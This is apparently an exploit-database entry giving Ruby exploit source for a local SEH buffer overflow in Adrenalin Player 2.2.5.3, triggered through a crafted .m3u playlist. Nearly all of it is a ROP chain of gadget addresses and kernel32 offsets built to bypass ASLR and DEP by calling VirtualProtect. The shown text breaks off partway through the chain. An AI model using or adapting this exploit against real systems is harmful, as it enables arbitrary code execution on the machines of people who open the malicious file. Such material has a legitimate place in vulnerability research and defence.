发布 2014-02-04 漏洞条目

Adrenalin Player 2.2.5.3 – ‘.m3u’ Local Buffer Overflow (SEH) (ASLR + DEP Bypass)

Exploit Source

#!/usr/bin env ruby

# Exploit Title: Adrenalin Player 2.2.5.3 (.m3u) SEH-Buffer Overflow ASLR+DEP Bypass

# Date: 3/2/2014

# Exploit Author: Muhamad Fadzil Ramli

# Vendor HomePage: http://software.naver.com/software/summary.nhn?softwareId=MFS_100099

# Software Link: http://software.naver.com/software/summary.nhn?softwareId=MFS_100099

# Version App: 2.2.5.3

# Tested on: Windows 7 x86 - Version 6.1.7600

# CVE:None

# Notes:-

# Offset to kernel32 - 0xF8C

# Offset to virtualProtect - 0xC039

filename = "motiv.m3u"

rop = ''

rop << [0x10129df6].pack('V') # PUSH ESP # POP ESI # RETN 0x10

rop << [0x10135eaf].pack('V') * 5 # RETN

rop << [0x1010c4c2].pack('V') # ADD ESP,20 # RETN

rop << 'VVVV' # VirtualProtect()

rop << 'WWWW' # return address

rop << 'XXXX' # lpAddress

rop << 'YYYY' # dwSize

rop << 'ZZZZ' # flNewProtect

rop << [0x1024bb98].pack('V') # lpOldProtect - writeable address

rop << [0x10135eaf].pack('V') * 2 # RETN (ROP NOP)

# kernel32 address

rop << [0x1003de9f].pack('V') # PUSH ESI # POP EAX # MOV EAX,ESI # POP EDI # RETN

rop << "AAAA" # FILLER

rop << [0x1005de8e].pack('V') # XCHG EAX,EBP # RETN

rop << [0x1012014d].pack('V') # XOR EAX,EAX # RETN

rop << [0x101201d6].pack('V') # POP EAX # RETN

rop << [0xFFFFF074].pack('V') # OFFSET F8C

rop << [0x101111e2].pack('V') # NEG EAX # RETN

rop << [0x1013a5e4].pack('V') # ADD EAX,EBP # RETN

rop << [0x1010010f].pack('V') # POP ECX # RETN

rop << [0xFFFFFFFF].pack('V') #

rop << [0x1012dd87].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN

rop << [0x1012014b].pack('V') # INC EAX # RETN

# virtualProtect Address

rop << [0x1002660b].pack('V') # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C

rop << "XXXX" * 2 # FILLER

rop << [0x1012014d].pack('V') # XOR EAX,EAX # RETN

rop << "AAAA" * 3 # FILLER

rop << [0x101201d6].pack('V') # POP EAX # RETN

rop << [0xFFFF3FC7].pack('V') # OFSET C039

rop << [0x101111e2].pack('V') # NEG EAX # RETN

rop << [0x1002660b].pack('V') # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C

rop << "AAAA" * 2 # FILLER

rop << [0x1013c584].pack('V') # SUB EAX,ECX # RETN

rop << [0x1010010f].pack('V') # POP ECX # RETN

rop << [0xFFFFFFFF].pack('V') #

rop << [0x1012dd87].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN

# assign virtualprotect address

rop << [0x1006798b].pack('V') * 8 # INC ESI # RETN

rop << [0x1010eac7].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop << "AAAA" # FILLER

# return address

rop << [0x10117105].pack('V') # PUSH EAX # POP ESI # POP EBX # RETN